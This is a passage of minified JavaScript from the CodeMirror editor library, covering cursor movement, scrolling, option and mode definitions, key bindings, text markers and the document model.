s=this.display,o,e,h,c;n=ii(this,f(this.doc,n));o=n.bottom;e=n.left;(t.style.position="absolute",t.setAttribute("cm-ignore-events","true"),this.display.input.setUneditable(t),s.sizer.appendChild(t),"over"==r)?o=n.top:("above"==r||"near"==r)&&(h=Math.max(s.wrapper.clientHeight,this.doc.height),c=Math.max(s.sizer.clientWidth,s.lineSpace.clientWidth),("above"==r||n.bottom+t.offsetHeight>h)&&n.top>t.offsetHeight?o=n.top-t.offsetHeight:n.bottom+t.offsetHeight<=h&&(o=n.bottom),e+t.offsetWidth>c&&(e=c-t.offsetWidth));t.style.top=o+"px";t.style.left=t.style.right="";"right"==u?(e=s.sizer.clientWidth-t.offsetWidth,t.style.right="0px"):("left"==u?e=0:"middle"==u&&(e=(s.sizer.clientWidth-t.offsetWidth)/2),t.style.left=e+"px");i&&ek(this,e,o,e+t.offsetWidth,o+t.offsetHeight)},triggerOnKeyDown:b(ka),triggerOnKeyPress:b(ga),triggerOnKeyUp:da,execCommand:function(n){if(vf.hasOwnProperty(n))return vf[n](this)},triggerElectric:b(function(n){sl(this,n)}),findPosH:function(n,t,i,r){var o=1,e,u;for(0>t&&(o=-1,t=-t),e=0,u=f(this.doc,n);t>e&&(u=lh(this.doc,u,o,i,r),!u.hitSide);++e);return u},moveH:b(function(n,t){var i=this;i.extendSelectionsBy(function(r){return i.display.shift||i.doc.extend||r.empty()?lh(i.doc,r.head,n,t,i.options.rtlMoveVisually):0>n?r.from():r.to()},gf)}),deleteH:b(function(n,t){var r=this.doc.sel,i=this.doc;r.somethingSelected()?i.replaceSelection("",null,"+delete"):yr(this,function(r){var u=lh(i,r.head,n,t,!1);return 0>n?{from:u,to:r.head}:{from:r.head,to:u}})}),findPosV:function(n,t,i,r){var h=1,o=r,s,u,e;for(0>t&&(h=-1,t=-t),s=0,u=f(this.doc,n);t>s;++s)if(e=ii(this,u,"div"),null==o?o=e.left:e.left=o,u=ev(this,e,h,i),u.hitSide)break;return u},moveV:b(function(n,t){var r=this,i=this.doc,f=[],e=!r.display.shift&&!i.extend&&i.sel.somethingSelected(),u;if(i.extendSelectionsBy(function(u){var o,s;return e?0>n?u.from():u.to():(o=ii(r,u.head,"div"),null!=u.goalColumn&&(o.left=u.goalColumn),f.push(o.left),s=ev(r,o,n,t),"page"==t&&u==i.sel.primary()&&ch(r,null,eh(r,s,"div").top-o.top),s)},gf),f.length)for(u=0;u<i.sel.ranges.length;u++)i.sel.ranges[u].goalColumn=f[u]}),findWordAt:function(t){var h=this.doc,u=r(h,t.line).text,i=t.ch,f=t.ch,e,o,s;if(u){for(e=this.getHelper(t,"wordChars"),(t.xRel<0||f==u.length)&&i?--i:++f,o=u.charAt(i),s=ho(o,e)?function(n){return ho(n,e)}:/\s/.test(o)?function(n){return/\s/.test(n)}:function(n){return!/\s/.test(n)&&!ho(n)};i>0&&s(u.charAt(i-1));)--i;for(;f<u.length&&s(u.charAt(f));)++f}return new l(n(t.line,i),n(t.line,f))},toggleOverwrite:function(n){(null==n||n!=this.state.overwrite)&&((this.state.overwrite=!this.state.overwrite)?te(this.display.cursorDiv,"CodeMirror-overwrite"):ne(this.display.cursorDiv,"CodeMirror-overwrite"),p(this,"overwriteToggle",this,this.state.overwrite))},hasFocus:function(){return this.display.input.getField()==kt()},scrollTo:b(function(n,t){(null!=n||null!=t)&&to(this);null!=n&&(this.curOp.scrollLeft=n);null!=t&&(this.curOp.scrollTop=t)}),getScrollInfo:function(){var n=this.display.scroller;return{left:n.scrollLeft,top:n.scrollTop,height:n.scrollHeight-yt(this)-this.display.barHeight,width:n.scrollWidth-yt(this)-this.display.barWidth,clientHeight:ih(this),clientWidth:oi(this)}},scrollIntoView:b(function(t,i){if(null==t?(t={from:this.doc.sel.primary().head,to:null},null==i&&(i=this.options.cursorScrollMargin)):"number"==typeof t?t={from:n(t,0),to:null}:null==t.from&&(t={from:t,to:null}),t.to||(t.to=t.from),t.margin=i||0,null!=t.from.line)to(this),this.curOp.scrollToPos=t;else{var r=no(this,Math.min(t.from.left,t.to.left),Math.min(t.from.top,t.to.top)-t.margin,Math.max(t.from.right,t.to.right),Math.max(t.from.bottom,t.to.bottom)+t.margin);this.scrollTo(r.scrollLeft,r.scrollTop)}}),setSize:b(function(n,t){function u(n){return"number"==typeof n||/^\d+$/.test(String(n))?n+"px":n}var i=this,r;null!=n&&(i.display.wrapper.style.width=u(n));null!=t&&(i.display.wrapper.style.height=u(t));i.options.lineWrapping&&ea(this);r=i.display.viewFrom;i.doc.iter(r,i.display.viewTo,function(n){if(n.widgets)for(var t=0;t<n.widgets.length;t++)if(n.widgets[t].noHScroll){ri(i,r,"widget");break}++r});i.curOp.forceUpdate=!0;p(i,"refresh",this)}),operation:function(n){return ut(this,n)},refresh:b(function(){var n=this.display.cachedTextHeight;it(this);this.curOp.forceUpdate=!0;au(this);this.scrollTo(this.doc.scrollLeft,this.doc.scrollTop);is(this);(null==n||Math.abs(n-vi(this.display))>.5)&&ts(this);p(this,"refresh",this)}),swapDoc:b(function(n){var t=this.doc;return t.cm=null,oy(this,n),au(this),this.display.input.reset(),this.scrollTo(n.scrollLeft,n.scrollTop),this.curOp.forceScroll=!0,nt(this,"swapDoc",this,t),t}),getInputField:function(){return this.display.input.getField()},getWrapperElement:function(){return this.display.wrapper},getScrollerElement:function(){return this.display.scroller},getGutterElement:function(){return this.display.gutters}};br(t);var ug=t.defaults={},gr=t.optionHandlers={},hp=t.Init={toString:function(){return"CodeMirror.Init"}};e("value","",function(n,t){n.setValue(t)},!0);e("mode",null,function(n,t){n.doc.modeOption=t;ns(n)},!0);e("indentUnit",2,ns,!0);e("indentWithTabs",!1);e("smartIndent",!0);e("tabSize",4,function(n){uu(n);au(n);it(n)},!0);e("specialChars",/[\t\u0000-\u0019\u00ad\u200b-\u200f\u2028\u2029\ufeff]/g,function(n,i,r){n.state.specialChars=new RegExp(i.source+(i.test("\t")?"":"|\t"),"g");r!=t.Init&&n.refresh()});e("specialCharPlaceholder",gk,function(n){n.refresh()},!0);e("electricChars",!0);e("inputStyle",af?"contenteditable":"textarea",function(){throw new Error("inputStyle can not (yet) be changed in a running editor");},!0);e("rtlMoveVisually",!tg);e("wholeLineUpdateBefore",!0);e("theme","default",function(n){wc(n);fu(n)},!0);e("keyMap","default",function(n,i,r){var f=ro(i),u=r!=t.Init&&ro(r);u&&u.detach&&u.detach(n,f);f.attach&&f.attach(n,u||null)});e("extraKeys",null);e("lineWrapping",!1,tw,!0);e("gutters",[],function(n){us(n.options);fu(n)},!0);e("fixedGutter",!0,function(n,t){n.display.gutters.style.left=t?cs(n.display)+"px":"0";n.refresh()},!0);e("coverGutterNextToScrollbar",!1,function(n){er(n)},!0);e("scrollbarStyle","native",function(n){kc(n);er(n);n.display.scrollbars.setScrollTop(n.doc.scrollTop);n.display.scrollbars.setScrollLeft(n.doc.scrollLeft)},!0);e("lineNumbers",!1,function(n){us(n.options);fu(n)},!0);e("firstLineNumber",1,fu,!0);e("lineNumberFormatter",function(n){return n},fu,!0);e("showCursorWhenSelecting",!1,hu,!0);e("resetSelectionOnContextMenu",!0);e("lineWiseCopyCut",!0);e("readOnly",!1,function(n,t){"nocursor"==t?(pu(n),n.display.input.blur(),n.display.disabled=!0):(n.display.disabled=!1,t||n.display.input.reset())});e("disableInput",!1,function(n,t){t||n.display.input.reset()},!0);e("dragDrop",!0,lb);e("cursorBlinkRate",530);e("cursorScrollMargin",0);e("cursorHeight",1,hu,!0);e("singleCursorHeightPerLine",!0,hu,!0);e("workTime",100);e("workDelay",100);e("flattenSpans",!0,uu,!0);e("addModeClass",!1,uu,!0);e("pollInterval",100);e("undoDepth",200,function(n,t){n.doc.history.undoDepth=t});e("historyEventDelay",1250);e("viewportMargin",10,function(n){n.refresh()},!0);e("maxHighlightLength",1e4,uu,!0);e("moveInputWithCursor",!0,function(n,t){t||n.display.input.resetPosition()});e("tabindex",null,function(n,t){n.display.input.getField().tabIndex=t||""});e("autofocus",null);hc=t.modes={};nu=t.mimeModes={};t.defineMode=function(n,i){t.defaults.mode||"null"==n||(t.defaults.mode=n);arguments.length>2&&(i.dependencies=Array.prototype.slice.call(arguments,2));hc[n]=i};t.defineMIME=function(n,t){nu[n]=t};t.resolveMode=function(n){if("string"==typeof n&&nu.hasOwnProperty(n))n=nu[n];else if(n&&"string"==typeof n.name&&nu.hasOwnProperty(n.name)){var i=nu[n.name];"string"==typeof i&&(i={name:i});n=ky(i,n);n.name=i.name}else if("string"==typeof n&&/^[\w\-]+\/[\w\-]+\+xml$/.test(n))return t.resolveMode("application/xml");return"string"==typeof n?{name:n}:n||{name:"null"}};t.getMode=function(n,i){var i=t.resolveMode(i),e=hc[i.name],u,f,r;if(!e)return t.getMode(n,"text/plain");if(u=e(n,i),tu.hasOwnProperty(i.name)){f=tu[i.name];for(r in f)f.hasOwnProperty(r)&&(u.hasOwnProperty(r)&&(u["_"+r]=u[r]),u[r]=f[r])}if(u.name=i.name,i.helperType&&(u.helperType=i.helperType),i.modeProps)for(r in i.modeProps)u[r]=i.modeProps[r];return u};t.defineMode("null",function(){return{token:function(n){n.skipToEnd()}}});t.defineMIME("text/plain","null");tu=t.modeExtensions={};t.extendMode=function(n,t){var i=tu.hasOwnProperty(n)?tu[n]:tu[n]={};ht(t,i)};t.defineExtension=function(n,i){t.prototype[n]=i};t.defineDocExtension=function(n,t){tt.prototype[n]=t};t.defineOption=e;wo=[];t.defineInitHook=function(n){wo.push(n)};rr=t.helpers={};t.registerHelper=function(n,i,r){rr.hasOwnProperty(n)||(rr[n]=t[n]={_global:[]});rr[n][i]=r};t.registerGlobalHelper=function(n,i,r,u){t.registerHelper(n,i,u);rr[n]._global.push({pred:r,val:u})};ur=t.copyState=function(n,t){var r,u,i;if(t===!0)return t;if(n.copyState)return n.copyState(t);r={};for(u in t)i=t[u],i instanceof Array&&(i=i.concat([])),r[u]=i;return r};cp=t.startState=function(n,t,i){return n.startState?n.startState(t,i):!0};t.innerMode=function(n,t){for(;n.innerMode;){var i=n.innerMode(t);if(!i||i.mode==n)break;t=i.state;n=i.mode}return i||{mode:n,state:t}};vf=t.commands={selectAll:function(t){t.setSelection(n(t.firstLine(),0),n(t.lastLine()),gt)},singleSelection:function(n){n.setSelection(n.getCursor("anchor"),n.getCursor("head"),gt)},killLine:function(t){yr(t,function(i){if(i.empty()){var u=r(t.doc,i.head.line).text.length;return i.head.ch==u&&i.head.line<t.lastLine()?{from:i.head,to:n(i.head.line+1,0)}:{from:i.head,to:n(i.head.line,u)}}return{from:i.from(),to:i.to()}})},deleteLine:function(t){yr(t,function(i){return{from:n(i.from().line,0),to:f(t.doc,n(i.to().line+1,0))}})},delLineLeft:function(t){yr(t,function(t){return{from:n(t.from().line,0),to:t.from()}})},delWrappedLineLeft:function(n){yr(n,function(t){var i=n.charCoords(t.head,"div").top+5,r=n.coordsChar({left:0,top:i},"div");return{from:r,to:t.from()}})},delWrappedLineRight:function(n){yr(n,function(t){var i=n.charCoords(t.head,"div").top+5,r=n.coordsChar({left:n.display.lineDiv.offsetWidth+100,top:i},"div");return{from:t.from(),to:r}})},undo:function(n){n.undo()},redo:function(n){n.redo()},undoSelection:function(n){n.undoSelection()},redoSelection:function(n){n.redoSelection()},goDocStart:function(t){t.extendSelection(n(t.firstLine(),0))},goDocEnd:function(t){t.extendSelection(n(t.lastLine()))},goLineStart:function(n){n.extendSelectionsBy(function(t){return np(n,t.head.line)},{origin:"+move",bias:1})},goLineStartSmart:function(n){n.extendSelectionsBy(function(t){return tp(n,t.head)},{origin:"+move",bias:1})},goLineEnd:function(n){n.extendSelectionsBy(function(t){return wd(n,t.head.line)},{origin:"+move",bias:-1})},goLineRight:function(n){n.extendSelectionsBy(function(t){var i=n.charCoords(t.head,"div").top+5;return n.coordsChar({left:n.display.lineDiv.offsetWidth+100,top:i},"div")},gf)},goLineLeft:function(n){n.extendSelectionsBy(function(t){var i=n.charCoords(t.head,"div").top+5;return n.coordsChar({left:0,top:i},"div")},gf)},goLineLeftSmart:function(n){n.extendSelectionsBy(function(t){var r=n.charCoords(t.head,"div").top+5,i=n.coordsChar({left:0,top:r},"div");return i.ch<n.getLine(i.line).search(/\S/)?tp(n,t.head):i},gf)},goLineUp:function(n){n.moveV(-1,"line")},goLineDown:function(n){n.moveV(1,"line")},goPageUp:function(n){n.moveV(-1,"page")},goPageDown:function(n){n.moveV(1,"page")},goCharLeft:function(n){n.moveH(-1,"char")},goCharRight:function(n){n.moveH(1,"char")},goColumnLeft:function(n){n.moveH(-1,"column")},goColumnRight:function(n){n.moveH(1,"column")},goWordLeft:function(n){n.moveH(-1,"word")},goGroupRight:function(n){n.moveH(1,"group")},goGroupLeft:function(n){n.moveH(-1,"group")},goWordRight:function(n){n.moveH(1,"word")},delCharBefore:function(n){n.deleteH(-1,"char")},delCharAfter:function(n){n.deleteH(1,"char")},delWordBefore:function(n){n.deleteH(-1,"word")},delWordAfter:function(n){n.deleteH(1,"word")},delGroupBefore:function(n){n.deleteH(-1,"group")},delGroupAfter:function(n){n.deleteH(1,"group")},indentAuto:function(n){n.indentSelection("smart")},indentMore:function(n){n.indentSelection("add")},indentLess:function(n){n.indentSelection("subtract")},insertTab:function(n){n.replaceSelection("\t")},insertSoftTab:function(n){for(var r,e,u=[],f=n.listSelections(),t=n.options.tabSize,i=0;i<f.length;i++)r=f[i].from(),e=vt(n.getLine(r.line),r.ch,t),u.push(new Array(t-e%t+1).join(" "));n.replaceSelections(u)},defaultTab:function(n){n.somethingSelected()?n.indentSelection("add"):n.execCommand("insertTab")},transposeChars:function(t){ut(t,function(){for(var i,u,f,o=t.listSelections(),s=[],e=0;e<o.length;e++)i=o[e].head,u=r(t.doc,i.line).text,u&&((i.ch==u.length&&(i=new n(i.line,i.ch-1)),i.ch>0)?(i=new n(i.line,i.ch+1),t.replaceRange(u.charAt(i.ch-1)+u.charAt(i.ch-2),n(i.line,i.ch-2),i,"+transpose")):i.line>t.doc.first&&(f=r(t.doc,i.line-1).text,f&&t.replaceRange(u.charAt(0)+"\n"+f.charAt(f.length-1),n(i.line-1,f.length-1),n(i.line,1),"+transpose"))),s.push(new l(i,i));t.setSelections(s)})},newlineAndIndent:function(n){ut(n,function(){for(var i,r=n.listSelections().length,t=0;r>t;t++)i=n.listSelections()[t],n.replaceRange("\n",i.anchor,i.head,"+input"),n.indentLine(i.from().line+1,null,!0),vr(n)})},toggleOverwrite:function(n){n.toggleOverwrite()}};ei=t.keyMap={};ei.basic={Left:"goCharLeft",Right:"goCharRight",Up:"goLineUp",Down:"goLineDown",End:"goLineEnd",Home:"goLineStartSmart",PageUp:"goPageUp",PageDown:"goPageDown",Delete:"delCharAfter",Backspace:"delCharBefore","Shift-Backspace":"delCharBefore",Tab:"defaultTab","Shift-Tab":"indentAuto",Enter:"newlineAndIndent",Insert:"toggleOverwrite",Esc:"singleSelection"};ei.pcDefault={"Ctrl-A":"selectAll","Ctrl-D":"deleteLine","Ctrl-Z":"undo","Shift-Ctrl-Z":"redo","Ctrl-Y":"redo","Ctrl-Home":"goDocStart","Ctrl-End":"goDocEnd","Ctrl-Up":"goLineUp","Ctrl-Down":"goLineDown","Ctrl-Left":"goGroupLeft","Ctrl-Right":"goGroupRight","Alt-Left":"goLineStart","Alt-Right":"goLineEnd","Ctrl-Backspace":"delGroupBefore","Ctrl-Delete":"delGroupAfter","Ctrl-S":"save","Ctrl-F":"find","Ctrl-G":"findNext","Shift-Ctrl-G":"findPrev","Shift-Ctrl-F":"replace","Shift-Ctrl-R":"replaceAll","Ctrl-[":"indentLess","Ctrl-]":"indentMore","Ctrl-U":"undoSelection","Shift-Ctrl-U":"redoSelection","Alt-U":"redoSelection",fallthrough:"basic"};ei.emacsy={"Ctrl-F":"goCharRight","Ctrl-B":"goCharLeft","Ctrl-P":"goLineUp","Ctrl-N":"goLineDown","Alt-F":"goWordRight","Alt-B":"goWordLeft","Ctrl-A":"goLineStart","Ctrl-E":"goLineEnd","Ctrl-V":"goPageDown","Shift-Ctrl-V":"goPageUp","Ctrl-D":"delCharAfter","Ctrl-H":"delCharBefore","Alt-D":"delWordAfter","Alt-Backspace":"delWordBefore","Ctrl-K":"killLine","Ctrl-T":"transposeChars"};ei.macDefault={"Cmd-A":"selectAll","Cmd-D":"deleteLine","Cmd-Z":"undo","Shift-Cmd-Z":"redo","Cmd-Y":"redo","Cmd-Home":"goDocStart","Cmd-Up":"goDocStart","Cmd-End":"goDocEnd","Cmd-Down":"goDocEnd","Alt-Left":"goGroupLeft","Alt-Right":"goGroupRight","Cmd-Left":"goLineLeft","Cmd-Right":"goLineRight","Alt-Backspace":"delGroupBefore","Ctrl-Alt-Backspace":"delGroupAfter","Alt-Delete":"delGroupAfter","Cmd-S":"save","Cmd-F":"find","Cmd-G":"findNext","Shift-Cmd-G":"findPrev","Cmd-Alt-F":"replace","Shift-Cmd-Alt-F":"replaceAll","Cmd-[":"indentLess","Cmd-]":"indentMore","Cmd-Backspace":"delWrappedLineLeft","Cmd-Delete":"delWrappedLineRight","Cmd-U":"undoSelection","Shift-Cmd-U":"redoSelection","Ctrl-Up":"goDocStart","Ctrl-Down":"goDocEnd",fallthrough:["basic","emacsy"]};ei["default"]=lt?ei.macDefault:ei.pcDefault;t.normalizeKeyMap=function(n){var f={},t,o,i,r,e,u,s,h;for(t in n)if(n.hasOwnProperty(t)){if(o=n[t],/^(name|fallthrough|(de|at)tach)$/.test(t))continue;if("..."==o){delete n[t];continue}for(i=ef(t.split(" "),ok),r=0;r<i.length;r++)if(r==i.length-1?(u=i.join(" "),e=o):(u=i.slice(0,r+1).join(" "),e="..."),s=f[u],s){if(s!=e)throw new Error("Inconsistent bindings for "+u);}else f[u]=e;delete n[t]}for(h in f)n[h]=f[h];return n};var yf=t.lookupKey=function(n,t,i,r){var u,f,e;if(t=ro(t),u=t.call?t.call(n,r):t[n],u===!1)return"nothing";if("..."===u)return"multi";if(null!=u&&i(u))return"handled";if(t.fallthrough){if("[object Array]"!=Object.prototype.toString.call(t.fallthrough))return yf(n,t.fallthrough,i,r);for(f=0;f<t.fallthrough.length;f++)if(e=yf(n,t.fallthrough[f],i,r),e)return e}},fg=t.isModifierKey=function(n){var t="string"==typeof n?n:ai[n.keyCode];return"Ctrl"==t||"Alt"==t||"Shift"==t||"Mod"==t},eg=t.keyName=function(n,t){if(ct&&34==n.keyCode&&n.char)return!1;var r=ai[n.keyCode],i=r;return null==i||n.altGraphKey?!1:(n.altKey&&"Alt"!=r&&(i="Alt-"+i),(ep?n.metaKey:n.ctrlKey)&&"Ctrl"!=r&&(i="Ctrl-"+i),(ep?n.ctrlKey:n.metaKey)&&"Cmd"!=r&&(i="Cmd-"+i),!t&&n.shiftKey&&"Shift"!=r&&(i="Shift-"+i),i)};t.fromTextArea=function(n,i){function f(){n.value=h.getValue()}var e,r,o,s,h;if((i=i?ht(i):{},i.value=n.value,!i.tabindex&&n.tabIndex&&(i.tabindex=n.tabIndex),!i.placeholder&&n.placeholder&&(i.placeholder=n.placeholder),null==i.autofocus)&&(e=kt(),i.autofocus=e==n||null!=n.getAttribute("autofocus")&&e==document.body),n.form&&(u(n.form,"submit",f),!i.leaveSubmitMethodAlone)){r=n.form;o=r.submit;try{s=r.submit=function(){f();r.submit=o;r.submit();r.submit=s}}catch(c){}}return i.finishInit=function(t){t.save=f;t.getTextArea=function(){return n};t.toTextArea=function(){t.toTextArea=isNaN;f();n.parentNode.removeChild(t.getWrapperElement());n.style.display="";n.form&&(dt(n.form,"submit",f),"function"==typeof n.form.submit&&(n.form.submit=o))}},n.style.display="none",h=t(function(t){n.parentNode.insertBefore(t,n.nextSibling)},i)};pf=t.StringStream=function(n,t){this.pos=this.start=0;this.string=n;this.tabSize=t||8;this.lastColumnPos=this.lastColumnValue=0;this.lineStart=0};pf.prototype={eol:function(){return this.pos>=this.string.length},sol:function(){return this.pos==this.lineStart},peek:function(){return this.string.charAt(this.pos)||void 0},next:function(){if(this.pos<this.string.length)return this.string.charAt(this.pos++)},eat:function(n){var t=this.string.charAt(this.pos),i;return i="string"==typeof n?t==n:t&&(n.test?n.test(t):n(t)),i?(++this.pos,t):void 0},eatWhile:function(n){for(var t=this.pos;this.eat(n););return this.pos>t},eatSpace:function(){for(var n=this.pos;/[\s\u00a0]/.test(this.string.charAt(this.pos));)++this.pos;return this.pos>n},skipToEnd:function(){this.pos=this.string.length},skipTo:function(n){var t=this.string.indexOf(n,this.pos);if(t>-1)return(this.pos=t,!0)},backUp:function(n){this.pos-=n},column:function(){return this.lastColumnPos<this.start&&(this.lastColumnValue=vt(this.string,this.start,this.tabSize,this.lastColumnPos,this.lastColumnValue),this.lastColumnPos=this.start),this.lastColumnValue-(this.lineStart?vt(this.string,this.lineStart,this.tabSize):0)},indentation:function(){return vt(this.string,null,this.tabSize)-(this.lineStart?vt(this.string,this.lineStart,this.tabSize):0)},match:function(n,t,i){var r,u,f;return"string"!=typeof n?(r=this.string.slice(this.pos).match(n),r&&r.index>0?null:(r&&t!==!1&&(this.pos+=r[0].length),r)):(u=function(n){return i?n.toLowerCase():n},f=this.string.substr(this.pos,n.length),u(f)==u(n)?(t!==!1&&(this.pos+=n.length),!0):void 0)},current:function(){return this.string.slice(this.start,this.pos)},hideFirstChars:function(n,t){this.lineStart+=n;try{return t()}finally{this.lineStart-=n}}};bo=0;ci=t.TextMarker=function(n,t){this.lines=[];this.type=t;this.doc=n;this.id=++bo};br(ci);ci.prototype.clear=function(){var n,f,u,t,r,i,o,s;if(!this.explicitlyCleared){n=this.doc.cm;f=n&&!n.curOp;(f&&sr(n),ft(this,"clear"))&&(u=this.find(),u&&nt(this,"clear",u.from,u.to));for(var e=null,h=null,i=0;i<this.lines.length;++i)t=this.lines[i],r=du(t.markedSpans,this),n&&!this.collapsed?ri(n,c(t),"text"):n&&(null!=r.to&&(h=c(t)),null!=r.from&&(e=c(t))),t.markedSpans=lk(t.markedSpans,r),null==r.from&&this.collapsed&&!pi(this.doc,t)&&n&&wt(t,vi(n.display));if(n&&this.collapsed&&!n.options.lineWrapping)for(i=0;i<this.lines.length;++i)o=pt(this.lines[i]),s=re(o),s>n.display.maxLineLength&&(n.display.maxLine=o,n.display.maxLineLength=s,n.display.maxLineChanged=!0);null!=e&&n&&this.collapsed&&it(n,e,h+1);this.lines.length=0;this.explicitlyCleared=!0;this.atomic&&this.doc.cantEdit&&(this.doc.cantEdit=!1,n&&kl(n.doc));n&&nt(n,"markerCleared",n,this);f&&hr(n);this.parent&&this.parent.clear()}};ci.prototype.find=function(t,i){var f,o,e,r,u;for(null==t&&"bookmark"==this.type&&(t=1),e=0;e<this.lines.length;++e){if(r=this.lines[e],u=du(r.markedSpans,this),null!=u.from&&(f=n(i?r:c(r),u.from),-1==t))return f;if(null!=u.to&&(o=n(i?r:c(r),u.to),1==t))return o}return f&&{from:f,to:o}};ci.prototype.changed=function(){var i=this.find(-1,!0),t=this,n=this.doc.cm;i&&n&&ut(n,function(){var r=i.line,o=c(i.line),f=rh(n,o),e,u;(f&&(fa(f),n.curOp.selectionChanged=n.curOp.forceUpdate=!0),n.curOp.updateMaxLine=!0,pi(t.doc,r)||null==t.height)||(e=t.height,t.height=null,u=nf(t)-e,u&&wt(r,r.height+u))})};ci.prototype.attachLine=function(n){if(!this.lines.length&&this.doc.cm){var t=this.doc.cm.curOp;t.maybeHiddenMarkers&&-1!=d(t.maybeHiddenMarkers,this)||(t.maybeUnhiddenMarkers||(t.maybeUnhiddenMarkers=[])).push(this)}this.lines.push(n)};ci.prototype.detachLine=function(n){if(this.lines.splice(d(this.lines,n),1),!this.lines.length&&this.doc.cm){var t=this.doc.cm.curOp;(t.maybeHiddenMarkers||(t.maybeHiddenMarkers=[])).push(this)}};bo=0;wf=t.SharedTextMarker=function(n,t){this.markers=n;this.primary=t;for(var i=0;i<n.length;++i)n[i].parent=this};br(wf);wf.prototype.clear=function(){if(!this.explicitlyCleared){this.explicitlyCleared=!0;for(var n=0;n<this.markers.length;++n)this.markers[n].clear();nt(this,"clear")}};wf.prototype.find=function(n,t){return this.primary.find(n,t)};bf=t.LineWidget=function(n,t,i){if(i)for(var r in i)i.hasOwnProperty(r)&&(this[r]=i[r]);this.doc=n;this.node=t};br(bf);bf.prototype.clear=function(){var r=this.doc.cm,n=this.line.widgets,t=this.line,f=c(t),i,u;if(null!=f&&n){for(i=0;i<n.length;++i)n[i]==this&&n.splice(i--,1);n.length||(t.widgets=null);u=nf(this);wt(t,Math.max(0,t.height-u));r&&ut(r,function(){bv(r,t,-u);ri(r,f,"widget")})}};bf.prototype.changed=function(){var r=this.height,n=this.doc.cm,i=this.line,t;this.height=null;t=nf(this)-r;t&&(wt(i,i.height+t),n&&ut(n,function(){n.curOp.forceUpdate=!0;bv(n,i,t)}))};iu=t.Line=function(n,t,i){this.text=n;lv(this,t);this.height=i?i(this):1};br(iu);iu.prototype.lineNo=function(){return c(this)};lp={};ap={};tf.prototype={chunkSize:function(){return this.lines.length},removeInner:function(n,t){for(var r,i=n,u=n+t;u>i;++i)r=this.lines[i],this.height-=r.height,dk(r),nt(r,"delete");this.lines.splice(n,t)},collapse:function(n){n.push.apply(n,this.lines)},insertInner:function(n,t,i){this.height+=i;this.lines=this.lines.slice(0,n).concat(t).concat(this.lines.slice(n));for(var r=0;r<t.length;++r)t[r].parent=this},iterN:function(n,t,i){for(var r=n+t;r>n;++n)if(i(this.lines[n]))return!0}};rf.prototype={chunkSize:function(){return this.size},removeInner:function(n,t){var r,i,u,f,o,e;for(this.size-=t,r=0;r<this.children.length;++r)if(i=this.children[r],u=i.chunkSize(),u>n){if(f=Math.min(t,u-n),o=i.height,i.removeInner(n,f),this.height-=o-i.height,u==f&&(this.children.splice(r--,1),i.parent=null),0==(t-=f))break;n=0}else n-=u;this.size-t<25&&(this.children.length>1||!(this.children[0]instanceof tf))&&(e=[],this.collapse(e),this.children=[new tf(e)],this.children[0].parent=this)},collapse:function(n){for(var t=0;t<this.children.length;++t)this.children[t].collapse(n)},insertInner:function(n,t,i){var u,r,e,o,f;for(this.size+=t.length,this.height+=i,u=0;u<this.children.length;++u){if(r=this.children[u],e=r.chunkSize(),e>=n){if(r.insertInner(n,t,i),r.lines&&r.lines.length>50){for(;r.lines.length>50;)o=r.lines.splice(r.lines.length-25,25),f=new tf(o),r.height-=f.height,this.children.splice(u+1,0,f),f.parent=this;this.maybeSpill()}break}n-=e}},maybeSpill:function(){var n,r,t,u,i;if(!(this.children.length<=10)){n=this;do r=n.children.splice(n.children.length-5,5),t=new rf(r),n.parent?(n.size-=t.size,n.height-=t.height,u=d(n.parent.children,n),n.parent.children.splice(u+1,0,t)):(i=new rf(n.children),i.parent=n,n.children=[i,t],n=i),t.parent=n.parent;while(n.children.length>10);n.parent.maybeSpill()}},iterN:function(n,t,i){for(var f,u,e,r=0;r<this.children.length;++r)if(f=this.children[r],u=f.chunkSize(),u>n){if(e=Math.min(t,u-n),f.iterN(n,e,i))return!0;if(0==(t-=e))break;n=0}else n-=u}};vp=0;tt=t.Doc=function(t,i,r){if(!(this instanceof tt))return new tt(t,i,r);null==r&&(r=0);rf.call(this,[new tf([new iu("",null)])]);this.first=r;this.scrollTop=this.scrollLeft=0;this.cantEdit=!1;this.cleanGeneration=1;this.frontier=r;var u=n(r,0);this.sel=ti(u);this.history=new oo(null);this.id=++vp;this.modeOption=i;"string"==typeof t&&(t=li(t));bh(this,{from:u,to:u,text:t});w(this,ti(u),gt)};tt.prototype=ky(rf.prototype,{constructor:tt,iter:function(n,t,i){i?this.iterN(n-this.first,t-n,i):this.iterN(this.first,this.first+this.size,n)},insert:function(n,t){for(var r=0,i=0;i<t.length;++i)r+=t[i].height;this.insertInner(n-this.first,t,r)},remove:function(n,t){this.removeInner(n-this.first,t)},getValue:function(n){var t=kh(this,this.first,this.first+this.size);return n===!1?t:t.join(n||"\n")},setValue:k(function(t){var i=n(this.first,0),u=this.first+this.size-1;ar(this,{from:i,to:n(u,r(this,u).text.length),text:li(t),origin:"setValue",full:!0},!0);w(this,ti(i))}),replaceRange:function(n,t,i,r){t=f(this,t);i=i?f(this,i):t;bu(this,n,t,i,r)},getRange:function(n,t,i){var r=bi(this,f(this,n),f(this,t));return i===!1?r:r.join(i||"\n")},getLine:function(n){var t=this.getLineHandle(n);return t&&t.text},getLineHandle:function(n){if(ou(this,n))return r(this,n)},getLineNumber:function(n){return c(n)},getLineHandleVisualStart:function(n){return"number"==typeof n&&(n=r(this,n)),pt(n)},lineCount:function(){return this.size},firstLine:function(){return this.first},lastLine:function(){return this.first+this.size-1},clipPos:function(n){return f(this,n)},getCursor:function(n){var t=this.sel.primary();return null==n||"head"==n?t.head:"anchor"==n?t.anchor:"end"==n||"to"==n||n===!1?t.to():t.from()},listSelections:function(){return this.sel.ranges},somethingSelected:function(){return this.sel.somethingSelected()},setCursor:k(function(t,i,r){pl(this,f(this,"number"==typeof t?n(t,i||0):t),null,r)}),setSelection:k(function(n,t,i){pl(this,f(this,n),f(this,t||n),i)}),extendSelection:k(function(n,t,i){le(this,f(this,n),t&&f(this,t),i)}),extendSelections:k(function(n,t){yl(this,aw(this,n,t))}),extendSelectionsBy:k(function(n,t){yl(this,ef(this.sel.ranges,n),t)}),setSelections:k(function(n,t,i){if(n.length){for(var r=0,u=[];r<n.length;r++)u[r]=new l(f(this,n[r].anchor),f(this,n[r].head));null==t&&(t=Math.min(n.length-1,this.sel.primIndex));w(this,ot(u,t),i)}}),addSelection:k(function(n,t,i){var r=this.sel.ranges.slice(0);r.push(new l(f(this,n),f(this,t||n)));w(this,ot(r,r.length-1),i)}),getSelection:function(n){for(var 